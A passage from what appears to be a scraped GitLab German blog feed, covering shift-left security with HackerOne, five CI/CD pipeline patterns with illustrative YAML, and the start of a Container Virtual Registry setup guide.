berücksichtigen, ist eine intensive Schulung notwendig. Entwicklerteams müssen verstehen, warum sie Sicherheitsprüfungen frühzeitig durchführen – und welchen Beitrag das zur Gesamtqualität und Stabilität der Anwendung leistet. Dazu eignen sich praxisnahe und rollenbezogene Schulungsformate wie z. B. Code Labs, Code Guidelines oder Hands-on-Training.\n\n### **\\#4 Integration von Security Reviews in Code Reviews und Pull Requests**\n\nSicherheit sollte auch Teil von [Code Reviews](https://about.gitlab.com/de-de/topics/version-control/what-is-code-review/) sein. Teams können z. B. Checklisten mit sicherheitsrelevanten Aspekten verwenden. Pair Programming bietet zusätzlich die Möglichkeit, Sicherheit direkt beim Schreiben des Codes mitzudenken – vor allem in frühen Projektphasen.\n\n## **HackerOne + GitLab: Setze Shift Left Security einfach und kostengünstig um**\n\nEine der größten Herausforderungen für die Umsetzung der Shift Left Sicherheit für Entwicklerteams ist eine aufgeblähte Toolchain. Der Wechsel zwischen Tools und unklare Rollenverteilungen können die frühzeitige Integration von Sicherheitsüberprüfungen behindern.\n\nGitLab bietet mit HackerOne eine integrierte Lösung, die Security-Teams und Entwickler(innen) effektiv verbindet. Sicherheitslücken, die über HackerOne gemeldet und validiert werden, werden automatisch in GitLab als Tickets angelegt. Diese enthalten unter anderem:\n\n* Synchronisation von Kommentaren\n* Statusänderungen\n* Zuständigkeiten\n* Belohnungen\n* Fälligkeitsdaten\n\nDie Kommunikation erfolgt dabei bidirektional zwischen beiden Plattformen. Die Integration ermöglicht es somit Entwickler(innen), im gewohnten Workflow zu bleiben und Sicherheitslücken direkt zu bearbeiten.\n\n### **Auswirkungen der automatisierten Sicherheitsintegration**\n\nDie Integration von HackerOne und GitLab führt in der Praxis zu:\n\n* Bis zu 70 Prozent Zeitersparnis von der Entdeckung bis zur Behebung von Schwachstellen\n* Erhöhte Transparenz über den Sicherheitsstatus im gesamten Unternehmen\n* Effektivere Nutzung der Ressourcen im Security-Team\n* Gesteigerte Zufriedenheit der Entwickler(innen), da sie im bevorzugten Workflow bleiben können\n\n## **Keine Kompromisse bei der Shift Left Security**\n\nShift Left Security verschiebt das Thema Sicherheit weg von der Endkontrolle hin zur kontinuierlichen Begleitung des Entwicklungsprozesses. Durch Tools wie SAST, DAST, SCA und Container-Scanning lassen sich Schwachstellen frühzeitig identifizieren – noch bevor sie produktiv wirksam werden. Das senkt Kosten, reduziert Risiken und beschleunigt Entwicklungszyklen.\n\nErfolgreich ist dieser Ansatz jedoch nur, wenn Sicherheitsprüfungen eng in die[ CI/CD-Pipeline](https://about.gitlab.com/de-de/topics/ci-cd/cicd-pipeline/) und Entwicklungsumgebungen integriert werden und Entwickler(innen) durch gezielte Schulungen und klare Prozesse unterstützt werden. Die Fallstudie zu GitLab und HackerOne zeigt zudem, dass integrierte Plattformen Kontextwechsel vermeiden und die Effizienz deutlich steigern können. Entscheidend für eine nachhaltige Umsetzung ist eine Sicherheitskultur, in der Entwicklung und Security partnerschaftlich und auf Augenhöhe zusammenarbeiten.","Erkenne und behebe Sicherheitslücken früh mit Shift-Left-Security. Lerne aus HackerOnes GitLab-Story und erhalte praxisnahe DevSecOps-Tipps.","2025-12-08",{"featured":687,"template":836,"slug":1022},"devsecops-shift-left-guide",{"category":747,"slug":749,"posts":1024},[1025,1037,1049],{"content":1026,"config":1035},{"body":1027,"title":1028,"description":1029,"authors":1030,"heroImage":1032,"date":1033,"category":749,"tags":1034},"## Abschnitt 1: Das Modell verstehen\n*Für Engineering-Leads und Entscheidungsträger: Konzept, Anwendungsfälle und Architekturprinzipien. Konfigurationsdetails folgen in Abschnitt 2.*\n\nDie meisten CI/CD-Werkzeuge können einen Build ausführen und ein Deployment anstoßen. Der Unterschied zeigt sich erst dann, wenn die Delivery-Anforderungen komplexer werden: ein Monorepo mit einem Dutzend Services, Microservices über mehrere Repositories verteilt, Deployments in Dutzende von Umgebungen gleichzeitig – oder ein Platform-Team, das organisationsweite Standards durchsetzen will, ohne dabei zum Engpass zu werden.\n\nGitLabs Pipeline-Modell wurde für genau diese Komplexität entwickelt. Parent-Child-Pipelines, DAG-Execution, dynamische Pipeline-Generierung, Multi-Project-Trigger, Merge-Request-Pipelines mit Merged-Results-Verarbeitung und CI/CD Components lösen jeweils eine eigene Klasse von Problemen. Da sich diese Bausteine kombinieren lassen, erschließt das vollständige Modell mehr als nur kürzere Pipeline-Laufzeiten.\n\nDieser Artikel beschreibt die fünf Muster, bei denen das Modell seine Stärken deutlich zeigt – jeweils zugeordnet zu einem konkreten Engineering-Szenario. Konfigurationen und Implementierungsdetails folgen in Abschnitt 2.\n\n### 1. Monorepos: Parent-Child-Pipelines und DAG-Execution\n\n**Das Problem:** Ein Monorepo enthält Frontend, Backend und Dokumentation. Jeder Commit löst einen vollständigen Rebuild aller Komponenten aus – auch wenn sich nur eine README-Datei geändert hat.\n\nGitLab kombiniert zwei sich ergänzende Mechanismen: [Parent-Child-Pipelines](https://docs.gitlab.com/ci/pipelines/downstream_pipelines/#parent-child-pipelines) ermöglichen es einer übergeordneten Pipeline, isolierte Child-Pipelines zu starten. [DAG-Execution via `needs`](https://docs.gitlab.com/ci/yaml/#needs) bricht die starre Stage-Reihenfolge auf und startet Jobs, sobald ihre Abhängigkeiten abgeschlossen sind – nicht erst, wenn alle Jobs einer Stage fertig sind.\n\nEine Parent-Pipeline erkennt, welche Teile des Repos sich geändert haben, und löst ausschließlich die betroffenen Child-Pipelines aus. Jeder Service verwaltet seine eigene Pipeline-Konfiguration; Änderungen in einem Service können keine anderen beeinflussen. Damit bleibt die Komplexität beherrschbar, während das Repository und das Team wachsen.\n\nEinen technischen Aspekt gilt es dabei zu kennen: Wenn mehrere Dateien an einen einzelnen `trigger: include:`-Block übergeben werden, fusioniert GitLab sie zu einer einzigen Child-Pipeline-Konfiguration. Jobs aus diesen Dateien teilen denselben Pipeline-Kontext und können sich gegenseitig per `needs:` referenzieren – das ist die Voraussetzung für die DAG-Optimierung. Werden die Dateien stattdessen auf separate Trigger-Jobs aufgeteilt, entsteht jeweils eine isolierte Pipeline, und dateiübergreifende `needs:`-Referenzen funktionieren nicht.\n\nIn großen Monorepos lassen sich Pipeline-Laufzeiten durch DAG-Execution deutlich reduzieren, da Jobs nicht mehr auf unabhängige Arbeitsschritte in derselben Stage warten.\n\n### 2. Microservices: Cross-Repo-Pipelines über mehrere Projekte\n\n**Das Problem:** Frontend und Backend leben in separaten Repositories. Wenn das Frontend-Team eine Änderung ausliefert, ist nicht erkennbar, ob sie die Backend-Integration beeinträchtigt – und umgekehrt.\n\n[Multi-Project-Pipelines](https://docs.gitlab.com/ci/pipelines/downstream_pipelines/#multi-project-pipelines) ermöglichen es, aus einem Projekt heraus eine Pipeline in einem anderen Projekt auszulösen und auf das Ergebnis zu warten. Das auslösende Projekt sieht die verknüpfte Downstream-Pipeline direkt in seiner eigenen Pipeline-Ansicht.\n\nIn der Praxis erstellt die Frontend-Pipeline ein API-Contract-Artifact und veröffentlicht es, bevor die Backend-Pipeline ausgelöst wird. Das Backend ruft dieses Artifact über die [Jobs API](https://docs.gitlab.com/api/jobs/#download-a-single-artifact-file-from-specific-tag-or-branch) ab und validiert es, bevor weitere Schritte erlaubt sind. Wird eine Breaking Change erkannt, schlägt die Backend-Pipeline fehl – und mit ihr die Frontend-Pipeline. Probleme, die bisher erst in der Produktion sichtbar wurden, werden damit im Pipeline-Prozess abgefangen. Die Abhängigkeit zwischen Services wird sichtbar, nachvollziehbar und aktiv verwaltbar.\n\n![Cross-project pipelines](https://res.cloudinary.com/about-gitlab-com/image/upload/v1775738762/Blog/Imported/hackathon-fake-blog-post-s/image4_h6mfsb.png \"Cross-project pipelines\") *Cross-project pipelines*\n\n### 3. Multi-Tenant/Matrix-Deployments: Dynamische Child-Pipelines\n\n**Das Problem:** Dieselbe Anwendung wird in 15 Kundenumgebungen, drei Cloud-Regionen oder den Stages Dev/Staging/Prod deployed. Manuelle Anpassungen je Umgebung führen zu Konfigurationsdrift. Eine separate Pipeline pro Umgebung ist von Anfang an nicht wartbar.\n\n[Dynamische Child-Pipelines](https://docs.gitlab.com/ci/pipelines/downstream_pipelines/#dynamic-child-pipelines) generieren die Pipeline-Struktur zur Laufzeit. Ein Job führt ein Skript aus, das eine YAML-Datei erzeugt – und diese YAML-Datei wird zur Pipeline für den nächsten Schritt. Die Pipeline-Struktur selbst wird damit zu Daten.\n\nDas Generierungsskript iteriert über eine `ENVIRONMENTS`-Variable, statt jede Umgebung fest zu kodieren. Eine neue Umgebung lässt sich durch Anpassen der Variable hinzufügen – ohne Änderungen an der Pipeline-Konfiguration selbst. Trigger-Jobs erben mit `extends:` eine gemeinsame Template-Konfiguration, sodass `strategy: depend` einmal definiert und nicht für jeden Trigger-Job wiederholt wird. Ein `when: manual`-Gate für das Produktions-Deployment ist direkt in den Pipeline-Graph integriert.\n\nPlatform-Teams nutzen dieses Muster, um Dutzende von Umgebungen zu verwalten, ohne Pipeline-Logik zu duplizieren.\n\n![Dynamic pipeline](https://res.cloudinary.com/about-gitlab-com/image/upload/v1775738765/Blog/Imported/hackathon-fake-blog-post-s/image7_wr0kx2.png \"Dynamic pipeline\")\n\n### 4. MR-First-Delivery: Merge-Request-Pipelines, Merged-Results und Workflow-Routing\n\n**Das Problem:** Die Pipeline läuft bei jedem Push auf jeden Branch. Aufwändige Tests werden auf Feature-Branches ausgeführt, die nie gemergt werden. Gleichzeitig gibt es keine Garantie, dass das Getestete dem entspricht, was nach dem Merge auf `main` tatsächlich landet.\n\nGitLab kombiniert drei ineinandergreifende Mechanismen: [Merge-Request-Pipelines](https://docs.gitlab.com/ci/pipelines/merge_request_pipelines/) laufen ausschließlich dann, wenn ein Merge Request existiert – nicht bei jedem Branch-Push. Allein dadurch entfällt ein erheblicher Anteil unnötiger Compute-Ausführungen. [Merged-Results-Pipelines](https://docs.gitlab.com/ci/pipelines/merged_results_pipelines/) gehen einen Schritt weiter: GitLab erstellt einen temporären Merge-Commit aus dem Branch und dem aktuellen Ziel-Branch und führt die Pipeline dagegen aus. Getestet wird damit das tatsächliche Ergebnis des Merges – nicht der Branch in Isolation. [Workflow-Rules](https://docs.gitlab.com/ci/yaml/workflow/) definieren schließlich, welcher Pipeline-Typ unter welchen Bedingungen ausgeführt wird. Die `$CI_OPEN_MERGE_REQUESTS`-Guard verhindert dabei, dass für einen Branch mit offenem MR doppelte Pipelines ausgelöst werden.\n\nDas Ergebnis ist ein Pipeline-Verhalten, das sich je nach Kontext unterscheidet: Ein Push auf einen Feature-Branch ohne offenen MR führt nur Lint und Unit-Tests aus. Sobald ein MR geöffnet wird, wechseln die Workflow-Rules auf eine MR-Pipeline mit der vollständigen Test-Suite gegen das Merged-Result. Ein Merge auf `main` stellt ein manuelles Produktions-Deployment in die Warteschlange. Der Nightly-Scan läuft einmalig als geplante Pipeline – nicht bei jedem Commit.\n\nMerged-Results-Pipelines fangen dabei die Klasse von Fehlern ab, die erst nach einem Merge sichtbar werden – bevor sie `main` erreichen.\n\n### 5. Governed Pipelines: CI/CD Components\n\n**Das Problem:** Das Platform-Team hat den richtigen Weg für Build, Test und Deploy definiert. Jedes Anwendungsteam pflegt jedoch eine eigene `.gitlab-ci.yml` mit subtilen Abweichungen. Security-Scanning wird übersprungen. Deployment-Standards driften. Audits werden aufwändig.\n\n[CI/CD Components](https://docs.gitlab.com/ci/components/) ermöglichen es Platform-Teams, versionierte, wiederverwendbare Pipeline-Bausteine zu veröffentlichen. Anwendungsteams binden sie mit einer einzigen `include:`-Zeile ein – kein Copy-Paste, kein Drift. Components sind über den [CI/CD Catalog](https://docs.gitlab.com/ci/components/#cicd-catalog) auffindbar, sodass Teams bewährte Bausteine finden und übernehmen können, ohne das Platform-Team direkt einschalten zu müssen.\n\nDrei Zeilen `include:` ersetzen hunderte von duplizierten YAML-Zeilen. Das Platform-Team kann einen Security-Fix in einer neuen Komponentenversion veröffentlichen – Teams steigen auf ihrem eigenen Zeitplan um, oder das Platform-Team fixiert alle auf eine Mindestversion. In beiden Fällen propagiert eine Änderung organisationsweit, statt repo-für-repo angewendet zu werden.\n\nKombiniert mit [Resource Groups](https://docs.gitlab.com/ci/resource_groups/) zur Vermeidung konkurrierender Deployments und [Protected Environments](https://docs.gitlab.com/ci/environments/protected_environments/) für Freigabe-Gates entsteht eine governed Delivery-Plattform, auf der **Compliance der Standard ist, nicht die Ausnahme**. Platform-Teams setzen Vorgaben durch, ohne zum Engpass zu werden.\n\n![Component pipeline (imported jobs)](https://res.cloudinary.com/about-gitlab-com/image/upload/v1775738776/Blog/Imported/hackathon-fake-blog-post-s/image2_pizuxd.png \"Component pipeline (imported jobs)\")\n\n## Das Modell als Ganzes\n\nKeines dieser Muster existiert isoliert. Der Wert von GitLabs Pipeline-Modell liegt in der Kombinierbarkeit seiner Bausteine:\n\n- Ein Monorepo nutzt Parent-Child-Pipelines, und jede Child-Pipeline nutzt DAG-Execution.\n- Eine Microservices-Plattform nutzt Multi-Project-Pipelines, und jedes Projekt nutzt MR-Pipelines mit Merged-Results.\n- Eine governed Plattform nutzt CI/CD Components, um die obigen Muster organisationsweit zu standardisieren.\n\nDie meisten Teams entdecken eines dieser Muster, wenn sie auf ein konkretes Problem stoßen. Teams, die das vollständige Modell verstehen, entwickeln daraus eine Delivery-Infrastruktur, die tatsächlich abbildet, wie ihre Engineering-Organisation arbeitet – und mit ihr wächst.\n\n## Weitere Muster\n\nDas Pipeline-Modell geht über die fünf vorgestellten Muster hinaus:\n\n- [Review Apps mit dynamischen Umgebungen](https://docs.gitlab.com/ci/environments/) erstellen für jeden Feature-Branch eine Live-Vorschau und räumen sie automatisch auf, wenn der MR geschlossen wird.\n- [Caching- und Artifact-Strategien](https://docs.gitlab.com/ci/caching/) sind nach der strukturellen Arbeit häufig der direkteste Weg zur weiteren Laufzeitoptimierung – ohne die Pipeline-Struktur zu verändern.\n- [Geplante und API-ausgelöste Pipelines](https://docs.gitlab.com/ci/pipelines/schedules/) eignen sich für Workloads, die nicht bei jedem Code-Push laufen sollten: Nightly-Security-Scans, Compliance-Reports und Release-Automatisierung lassen sich als geplante oder [API-ausgelöste](https://docs.gitlab.com/ci/triggers/) Pipelines mit `$CI_PIPELINE_SOURCE`-Routing modellieren.\n\n> [GitLab Ultimate kostenlos testen](https://about.gitlab.com/de-de/free-trial/) und Pipeline-Logik ab heute einsetzen.\n\n## Für deutsche Unternehmen: Regulatorischer Kontext\n\nTeams, die Pipeline-Governance nach Muster 5 einführen, adressieren dabei möglicherweise auch Anforderungen, die regulatorische Frameworks an sichere Softwareentwicklungsprozesse stellen.\n\nCI/CD Components mit erzwungenen Security-Gates könnten Anforderungen an sichere Entwicklungsprozesse betreffen – beispielsweise in Bereichen, die Frameworks wie NIS2, ISO 27001 oder BSI IT-Grundschutz an den Software-Entwicklungslebenszyklus adressieren. Protected Environments und Resource Groups betreffen ähnliche Themen im Bereich Änderungskontrolle und Umgebungstrennung, wie sie in Governance-Frameworks typischerweise explizit formuliert sind.\n\nMulti-Project-Pipelines mit API-Contract-Validierung (Muster 2) schaffen Sichtbarkeit über Service-Abhängigkeiten hinweg – ein Aspekt, den Frameworks zur Lieferkettensicherheit adressieren.\n\nMerged-Results-Pipelines (Muster 4) dokumentieren automatisch, dass das tatsächliche Merge-Ergebnis getestet wurde, nicht nur der Feature-Branch in Isolation. Dies könnte Anforderungen an nachvollziehbare Änderungsprozesse betreffen, wie sie in Change-Management-Kontrollen verschiedener Sicherheitsframeworks formuliert sind.\n\nFür konkrete Compliance-Anforderungen im eigenen regulatorischen Umfeld empfiehlt sich Rücksprache mit entsprechender Fachberatung.\n\n## Abschnitt 2: Konfiguration und Implementierung\n\n*Für Entwicklungsteams und DevOps-Praktiker: ausgewählte Konfigurationsbeispiele zu den Mustern 1, 4 und 5. Für vollständige Konfigurationen aller Muster: [englischer Originalartikel](https://about.gitlab.com/blog/5-ways-gitlab-pipeline-logic-solves-real-engineering-problems/).*\n\nDie folgenden Konfigurationen sind illustrativ aufgebaut. Die Skripte verwenden `echo`-Befehle, um das Wesentliche sichtbar zu halten. Für den produktiven Einsatz werden die `echo`-Befehle durch die tatsächlichen Build-, Test- und Deploy-Schritte ersetzt.\n\n### Muster 1: Parent-Child-Pipelines und DAG-Execution\n\nEine Parent-Pipeline erkennt Änderungen und löst nur die betroffenen Child-Pipelines aus:\n\n```yaml # .gitlab-ci.yml stages:\n  - trigger\n\ntrigger-services:\n  stage: trigger\n  trigger:\n    include:\n      - local: '.gitlab/ci/api-service.yml'\n      - local: '.gitlab/ci/web-service.yml'\n      - local: '.gitlab/ci/worker-service.yml'\n    strategy: depend\n```\n\nInnerhalb der Child-Pipeline ermöglicht `needs:` DAG-Execution – der Test startet, sobald der Build abgeschlossen ist, ohne auf andere Jobs in derselben Stage zu warten:\n\n```yaml # .gitlab/ci/api-service.yml stages:\n  - build\n  - test\n\nbuild-api:\n  stage: build\n  script:\n    - echo \"Building API service\"\n\ntest-api:\n  stage: test\n  needs: [build-api]\n  script:\n    - echo \"Running API tests\"\n```\n\n![Local downstream pipelines](https://res.cloudinary.com/about-gitlab-com/image/upload/v1775738759/Blog/Imported/hackathon-fake-blog-post-s/image3_vwj3rz.png \"Local downstream pipelines\")\n\n### Muster 4: MR-First-Delivery\n\nWorkflow-Rules, MR-Pipelines und Merged-Results zusammen ergeben ein kontextabhängiges Pipeline-Verhalten:\n\n```yaml # .gitlab-ci.yml workflow:\n  rules:\n    - if: $CI_PIPELINE_SOURCE == \"merge_request_event\"\n    - if: $CI_COMMIT_BRANCH && $CI_OPEN_MERGE_REQUESTS\n      when: never\n    - if: $CI_COMMIT_BRANCH\n    - if: $CI_PIPELINE_SOURCE == \"schedule\"\n\nstages:\n  - fast-checks\n  - expensive-tests\n  - deploy\n\nlint-code:\n  stage: fast-checks\n  script:\n    - echo \"Running linter\"\n  rules:\n    - if: $CI_PIPELINE_SOURCE == \"push\"\n    - if: $CI_PIPELINE_SOURCE == \"merge_request_event\"\n    - if: $CI_COMMIT_BRANCH == \"main\"\n\nunit-tests:\n  stage: fast-checks\n  script:\n    - echo \"Running unit tests\"\n  rules:\n    - if: $CI_PIPELINE_SOURCE == \"push\"\n    - if: $CI_PIPELINE_SOURCE == \"merge_request_event\"\n    - if: $CI_COMMIT_BRANCH == \"main\"\n\nintegration-tests:\n  stage: expensive-tests\n  script:\n    - echo \"Running integration tests (15 min)\"\n  rules:\n    - if: $CI_PIPELINE_SOURCE == \"merge_request_event\"\n    - if: $CI_COMMIT_BRANCH == \"main\"\n\ne2e-tests:\n  stage: expensive-tests\n  script:\n    - echo \"Running E2E tests (30 min)\"\n  rules:\n    - if: $CI_PIPELINE_SOURCE == \"merge_request_event\"\n    - if: $CI_COMMIT_BRANCH == \"main\"\n\nnightly-comprehensive-scan:\n  stage: expensive-tests\n  script:\n    - echo \"Running full nightly suite (2 hours)\"\n  rules:\n    - if: $CI_PIPELINE_SOURCE == \"schedule\"\n\ndeploy-production:\n  stage: deploy\n  script:\n    - echo \"Deploying to production\"\n  rules:\n    - if: $CI_COMMIT_BRANCH == \"main\"\n      when: manual\n```\n\n![Conditional pipelines (within a branch with no MR)](https://res.cloudinary.com/about-gitlab-com/image/upload/v1775738768/Blog/Imported/hackathon-fake-blog-post-s/image6_dnfcny.png \"Conditional pipelines (within a branch with no MR)\")\n\n![Conditional pipelines (within an MR)](https://res.cloudinary.com/about-gitlab-com/image/upload/v1775738772/Blog/Imported/hackathon-fake-blog-post-s/image1_wyiafu.png \"Conditional pipelines (within an MR)\")\n\n![Conditional pipelines (on the main branch)](https://res.cloudinary.com/about-gitlab-com/image/upload/v1775738774/Blog/Imported/hackathon-fake-blog-post-s/image5_r6lkfd.png \"Conditional pipelines (on the main branch)\")\n\n### Muster 5: CI/CD Components\n\nEine Komponentendefinition aus einer gemeinsamen Bibliothek:\n\n```yaml # templates/deploy.yml spec:\n  inputs:\n    stage:\n      default: deploy\n    environment:\n      default: production\n--- deploy-job:\n  stage: $[[ inputs.stage ]]\n  script:\n    - echo \"Deploying $APP_NAME to $[[ inputs.environment ]]\"\n    - echo \"Deploy URL: $DEPLOY_URL\"\n  environment:\n    name: $[[ inputs.environment ]]\n```\n\nSo bindet ein Anwendungsteam die Komponenten ein:\n\n```yaml # Application repo: .gitlab-ci.yml variables:\n  APP_NAME: \"my-awesome-app\"\n  DEPLOY_URL: \"https://api.example.com\"\n\ninclude:\n  - component: gitlab.com/my-org/component-library/build@v1.0.6\n  - component: gitlab.com/my-org/component-library/test@v1.0.6\n  - component: gitlab.com/my-org/component-library/deploy@v1.0.6\n    inputs:\n      environment: staging\n\nstages:\n  - build\n  - test\n  - deploy\n```\n\n### Orientierung zu den Mustern 2 und 3\n\n**Muster 2 (Multi-Project-Pipelines):** Das Frontend-Repository publiziert ein API-Contract-Artifact und löst anschließend die Backend-Pipeline aus. Das Backend ruft das Artifact über die GitLab Jobs API ab und validiert es. Der `integration-test`-Job läuft dabei nur dann, wenn er von einer Upstream-Pipeline ausgelöst wurde (`$CI_PIPELINE_SOURCE == \"pipeline\"`), nicht bei einem eigenständigen Push. Die Frontend-Projekt-ID wird als CI/CD-Variable gesetzt, um Hardcoding zu vermeiden. Vollständige Konfigurationen beider Repositories: [englischer Originalartikel](https://about.gitlab.com/blog/5-ways-gitlab-pipeline-logic-solves-real-engineering-problems/#2-microservices-cross-repo-multi-project-pipelines).\n\n**Muster 3 (Dynamische Child-Pipelines):** Ein `generate-config`-Job erzeugt zur Laufzeit environment-spezifische YAML-Dateien. Trigger-Jobs nutzen `extends:` für gemeinsam genutzte Konfiguration und `needs:` für sequenzielle Promotion (dev → staging → prod mit manuellem Gate). Vollständige Konfiguration: [englischer Originalartikel](https://about.gitlab.com/blog/5-ways-gitlab-pipeline-logic-solves-real-engineering-problems/#3-multi-tenant--matrix-deployments-dynamic-child-pipelines).\n\n## Weiterführende Artikel\n\n- [Variable and artifact sharing in GitLab parent-child pipelines](https://about.gitlab.com/blog/variable-and-artifact-sharing-in-gitlab-parent-child-pipelines/)\n- [CI/CD inputs: Secure and preferred method to pass parameters to a pipeline](https://about.gitlab.com/blog/ci-cd-inputs-secure-and-preferred-method-to-pass-parameters-to-a-pipeline/)\n- [Tutorial: How to set up your first GitLab CI/CD component](https://about.gitlab.com/blog/tutorial-how-to-set-up-your-first-gitlab-ci-cd-component/)\n- [How to include file references in your CI/CD components](https://about.gitlab.com/blog/how-to-include-file-references-in-your-ci-cd-components/)\n- [FAQ: GitLab CI/CD Catalog](https://about.gitlab.com/blog/faq-gitlab-ci-cd-catalog/)\n- [Building a GitLab CI/CD pipeline for a monorepo the easy way](https://about.gitlab.com/blog/building-a-gitlab-ci-cd-pipeline-for-a-monorepo-the-easy-way/)\n- [A CI/CD component builder's journey](https://about.gitlab.com/blog/a-ci-component-builders-journey/)\n- [CI/CD Catalog goes GA: No more building pipelines from scratch](https://about.gitlab.com/blog/ci-cd-catalog-goes-ga-no-more-building-pipelines-from-scratch/)","5 GitLab-Pipeline-Muster für komplexe Engineering-Herausforderungen","Wie Parent-Child-Pipelines, DAG-Execution, MR-Pipelines und CI/CD Components komplexe Delivery-Probleme lösen – von Monorepos bis zur governed Plattform.",[1031],"Omid Khan","https://res.cloudinary.com/about-gitlab-com/image/upload/v1772721753/frfsm1qfscwrmsyzj1qn.png","2026-04-09",[89,982,905,828],{"featured":13,"template":836,"slug":1036},"5-ways-gitlab-pipeline-logic-solves-real-engineering-problems",{"content":1038,"config":1047},{"title":1039,"description":1040,"authors":1041,"heroImage":1043,"date":1044,"body":1045,"category":749,"tags":1046},"GitLab Container Virtual Registry mit Docker Hardened Images einrichten","Mehrere Registries hinter einem Endpunkt – GitLab Container Virtual Registry mit Docker Hardened Images, Caching und Audit-Trail.",[1042],"Tim Rizzi","https://res.cloudinary.com/about-gitlab-com/image/upload/v1772111172/mwhgbjawn62kymfwrhle.png","2026-03-12","Wer im Plattformteam arbeitet, kennt solche Gespräche:\n\n*„Security sagt: Wir müssen gehärtete Base-Images verwenden.\"*\n\n*„Prima – wo trage ich jetzt die Credentials für noch eine weitere Registry ein?\"*\n\n*„Und wie stellen wir sicher, dass alle sie auch wirklich nutzen?\"*\n\nOder diese hier:\n\n*„Warum sind unsere Builds so langsam?\"*\n\n*„Wir pullen dasselbe 500-MB-Image in jedem einzelnen Job neu von Docker Hub.\"*\n\n*„Kann man die nicht irgendwo cachen?\"*\n\nIch arbeite bei GitLab an der [Container Virtual Registry](https://docs.gitlab.com/user/packages/virtual_registry/container/) – einem Pull-Through-Cache, der vor den vorgelagerten Registries sitzt: Docker Hub, dhi.io (Docker Hardened Images), MCR und Quay. Teams erhalten einen einzigen Endpunkt zum Pullen. Images werden beim ersten Abruf gecacht; alle nachfolgenden Pulls kommen aus dem Cache. Das Entwicklungsteam muss nicht wissen, aus welchem Upstream ein bestimmtes Image stammt.\n\nDieser Artikel zeigt die Einrichtung der Container Virtual Registry – mit Docker Hardened Images als konkretem Anwendungsfall, da diese Kombination für Teams mit Sicherheitsanforderungen besonders naheliegt.\n\n## Das Problem: Registry-Wildwuchs im Plattformteam\n\nDie Plattformteams, mit denen ich spreche, verwalten Container-Images über drei bis fünf Registries:\n\n- **Docker Hub** für die meisten Base-Images\n- **dhi.io** für Docker Hardened Images (sicherheitskritische Workloads)\n- **MCR** für .NET- und Azure-Tooling\n- **Quay.io** für das Red-Hat-Ökosystem\n- **Interne Registries** für proprietäre Images\n\nJede davon hat eigene Authentifizierungsmechanismen, unterschiedliche Netzwerklatenz und eine eigene Pfadstruktur für Images.\n\nCI/CD-Konfigurationen füllen sich mit registry-spezifischer Logik. Credential-Management wird zum eigenständigen Projekt. Und jeder Pipeline-Job lädt dieselben Base-Images erneut über das Netz – obwohl sie sich seit Wochen nicht geändert haben.\n\nContainer Virtual Registry konsolidiert das: eine Registry-URL, ein Authentifizierungsfluss über GitLab, gecachte Images aus GitLab-Infrastruktur statt wiederholter Internet-Traversierung.\n\n## Funktionsweise\n\nDas Modell ist geradlinig:\n\n```text\n\nPipeline ruft ab:\n  gitlab.com/virtual_registries/container/1000016/python:3.13\n\nVirtual Registry prüft:\n  1. Im Cache vorhanden? → Direkt zurückgeben\n  2. Nein? → Vom Upstream laden, cachen, zurückgeben\n\n\n```\n\nUpstreams werden in Prioritätsreihenfolge konfiguriert. Bei einem eingehenden Pull-Request durchsucht die Virtual Registry die Upstreams der Reihe nach, bis das Image gefunden wird. Das Ergebnis wird für einen konfigurierbaren Zeitraum gecacht – standardmäßig 24 Stunden.\n\n\n```text\n\n┌─────────────────────────────────────────────────────────┐ │                    CI/CD Pipeline                       │ │                          │                              │ │                          ▼                              │ │   gitlab.com/virtual_registries/container/\u003Cid>/image   │ └─────────────────────────────────────────────────────────┘\n                           │\n                           ▼\n┌─────────────────────────────────────────────────────────┐ │            Container Virtual Registry                   │ │                                                         │ │  Upstream 1: Docker Hub ────────────────┐               │ │  Upstream 2: dhi.io (Hardened) ────────┐│               │ │  Upstream 3: MCR ─────────────────────┐││               │ │  Upstream 4: Quay.io ────────────────┐│││               │ │                                      ││││               │ │                    ┌─────────────────┴┴┴┴──┐            │ │                    │        Cache          │            │ │                    │  (manifests + layers) │            │ │                    └───────────────────────┘            │ └─────────────────────────────────────────────────────────┘\n\n```\n\n## Was das konkret bringt – besonders mit Docker Hardened Images\n\n[Docker Hardened Images](https://docs.docker.com/dhi/) zeichnen sich durch minimale Angriffsfläche, nahezu keine bekannten CVEs, vollständige Software Bills of Materials (SBOMs) und SLSA-Provenance aus. Für Teams, die Base-Images für sicherheitskritische Workloads evaluieren, gehören sie auf die Shortlist.\n\nDer Wechsel zu dhi.io erzeugt jedoch dieselbe operative Reibung wie jede neue Registry:\n\n- **Credential-Verteilung**: Docker-Credentials müssen auf alle Systeme verteilt werden, die Images von dhi.io abrufen.\n- **CI/CD-Anpassungen**: Jede Pipeline muss für die Authentifizierung mit dhi.io aktualisiert werden.\n- **Akzeptanzproblem**: Ohne zentrale Steuerung greifen Teams weiterhin auf reguläre Images zurück.\n- **Fehlende Transparenz**: Ob Teams tatsächlich die gehärteten Varianten nutzen, ist kaum nachvollziehbar.\n\nDie Virtual Registry löst jeden dieser Punkte:\n\n**Einzelne Credential**: Teams authentifizieren sich bei GitLab. Die Virtual Registry übernimmt die Upstream-Authentifizierung. Docker-Credentials werden einmalig auf Registry-Ebene konfiguriert und gelten für alle Pulls.\n\n**Keine per-Team-CI/CD-Änderungen**: Pipelines auf die Virtual Registry zeigen lassen – fertig. Die Upstream-Konfiguration ist zentralisiert.\n\n**Schrittweise Einführung**: Da Images mit ihrem vollständigen Pfad gecacht werden, ist im Cache sichtbar, was tatsächlich abgerufen wird. Wird `library/python:3.11` statt der gehärteten Variante gepullt, ist das erkennbar.\n\n**Audit-Trail**: Der Cache zeigt exakt, welche Images aktiv genutzt werden – nachvollziehbar für Compliance-Zwecke und als Grundlage für das Verständnis der tatsächlichen Infrastruktur-Abhängigkeiten.\n\nWer das Konzept verstanden hat und die Einrichtung zu einem späteren Zeitpunkt in Angriff nimmt: Die wesentlichen Konzepte sind damit abgedeckt. Die technische Konfiguration folgt im nächsten Abschnitt.\n\n## Einrichtung\n\nDie folgende Einrichtung nutzt den Python-Client aus dem Demo-Projekt.\n\n### Virtual Registry erstellen\n\n```python\nfrom virtual_registry_client import VirtualRegistryClient\nclient = VirtualRegistryClient()\nregistry = client.create_virtual_registry(\n    group_id=\"785414\",  # ID der obersten Gruppe\n    name=\"platform-images\",\n    description=\"Cached container images for platform teams\"\n)\nprint(f\"Registry ID: {registry['id']}\") # Diese ID wird für die Pull-URL benötigt\n```\n\n### Docker Hub als Upstream hinzufügen\n\nFür offizielle Images wie Alpine, Python 